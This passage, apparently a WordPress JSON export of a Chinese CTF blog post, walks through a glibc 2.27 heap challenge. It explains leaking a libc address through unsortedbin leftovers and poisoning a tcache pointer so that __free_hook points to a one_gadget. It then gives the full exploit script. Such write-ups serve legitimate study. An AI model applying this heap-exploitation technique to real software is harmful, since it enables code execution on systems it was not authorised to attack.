![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
\u8fd9\u65f6chunk1\u7684\u6307\u9488\u5df2\u7ecf\u6ca1\u6709\u4e86\uff0c\u4f46\u662fchunk2\uff0cchunk3\u7684\u6307\u9488\u8fd8\u6709\u6b8b\u7559\uff0c\u6211\u4eec\u518d\u6b21\u7533\u8bf7\u4e00\u4e2achunk1\u5927\u5c0f\u7684\u5806\u5757\uff0c\u4e8e\u662f\u7531\u4e8eunsortedbin\u7684\u7279\u6027chunk2\u4e2d\u5c31\u6709\u4e86libc\u5730\u5740\uff0c\u7531\u6b64\u6211\u4eec\u5c31\u53ef\u4ee5\u6cc4\u9732libc\u5730\u5740\u4e86\uff0cheapbase\u5728\u6b64\u9898\u4e2d\u6ca1\u6709\u4f5c\u7528\uff0c\u6240\u4ee5\u4e0d\u9700\u8981\u6cc4\u9732<\/p>\n\n\n\n
\u540e\u9762\u7684\u64cd\u4f5c\u5c31\u662f\u4fee\u6539tcache\u7684fd\u6307\u9488\u6307\u5411free_hook\uff0c\u7136\u540e\u518d\u6539free_hook\u4e3aonegadget\u5373\u53ef<\/p>\n\n\n\n
\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c2.27\u7248\u672c\u4e0btcache\u5206\u914d\u7684\u65f6\u5019\u5b8c\u5168\u4e0d\u68c0\u9a8csize\u4f4d\u662f\u5426\u5408\u6cd5\uff0c\u6240\u4ee5\u54ea\u6015size\u4f4d\u88ab\u7834\u574f\uff0c\u53ea\u8981tcache\u7684\u6307\u9488\u8868\u91cc\u6709\u4e1c\u897f\uff0c\u5c31\u80fd\u6210\u529f\u7533\u8bf7\uff0c\u5f53\u7136\u518d\u6b21\u91ca\u653e\u80af\u5b9a\u5c31\u4f1a\u62a5\u9519\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u786e\u5b9e\u6ca1\u7ef7\u4f4f\u3002<\/p>\n\n\n\n
\u6211\u8ba4\u4e3a\u7684\u91cd\u70b9\u5c31\u8fd9\u4e9b\u4e86\uff0c\u540e\u9762\u7684\u5185\u5bb9\u8bfb\u8005\u53ef\u4ee5\u6839\u636eexp\u81ea\u5df1\u8c03\u8bd5\u4e00\u4e0b<\/p>\n\n\n\n
from pwnplus import *\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\n\np=mypwn('.\/pwn')\nelf=ELF('.\/pwn')\nlibc=ELF('.\/libc.so.6')\ndef add(content):\n p.sla(b'user@machine$ ',b'add data:'+content)\n\ndef delete(index):\n p.sla(b'user@machine$ ',f'delete index:{index}')\n\ndef show():\n p.sla(b'user@machine$ ',f'show ')\n\nadd(b'0'*0x4f0)\nadd(b'1'*0x500)\nadd(b'2'*0x500)\nadd(b'3'*0x500)\nadd(b'4'*0x500)\nadd(b'5'*0x500)\nadd(b'6'*0x20)\nadd(b'7'*0x20)\nadd(b'8'*0x20)\ndelete(3)\nadd(b'3'*0x500)\ndelete(2)\n\nadd(b'2'*0x4d0)#2\nadd(b'remark:remarkaaaaaaaa:b\\0ccccccc\\x31\\x0f')#9\n\n#------------------\u6cc4\u9732libc--------------------------\ndelete(3)\nadd(b'3'*0x500)\nshow()\np.rcvu(b'Data #4:\\nData: ')\nlibcbase=p.uu64()-0x3ebca0\nprint(f'libcbase:{hex(libcbase)}')\nonegadget=[0x4f29e,0x4f2a5,0x4f302,0x10a2fc]\n\n#------------------\u4fee\u6539free_hook-------------------------\ndelete(7)\ndelete(6)\nadd(b'7'*0x500)\nadd(b'6'*0x4b0)\nadd(b'remark:remarkaa:bbbbbbbbbbbbbbbbbbbbbbbb\\0ccccccc'+p64(libcbase+libc.symbols['__free_hook']-0x18)+b'\\0\\0\\0\\0\\0\\0\\0\\0cccccccccccccccccccccccccc')#10\nadd(b'8'*0x20)\nadd(b'aaaaaaaaaaaaaaa|remark:|'+p64(libcbase+onegadget[2]))\n\ndelete(0)\np.debug('set max-visualize-chunk-size 0x500')\n\np.ia()<\/code><\/pre>\n\n\n\n<\/p>\n","protected":false},"excerpt":{"rendered":"
\u611f\u89c9\u6700\u8fd1\u597d\u4e0d\u60f3\u5199\u535a\u5ba2\u4e86\uff0c\u8fd9\u7bc7\u7a0d\u5fae\u6c34\u4e00\u70b9\u5427\uff0c\u4e3b\u8981\u662f\u8bb0\u5f55\u4e00\u4e0b\u81ea\u5df1\u7684\u505a\u9898\u7b14\u8bb0 \u8fd9\u4e2a\u9898\u770b\u9898\u770b\u7684\u65f6\u95f4\u4e0d\u957f\uff0c\u5927\u4f53\u903b\u8f91\u5f88\u5feb\u5c31 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-713","post","type-post","status-publish","format-standard","hentry","category-pwn"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/713","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=713"}],"version-history":[{"count":1,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/713\/revisions"}],"predecessor-version":[{"id":723,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/713\/revisions\/723"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=713"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=713"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=713"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}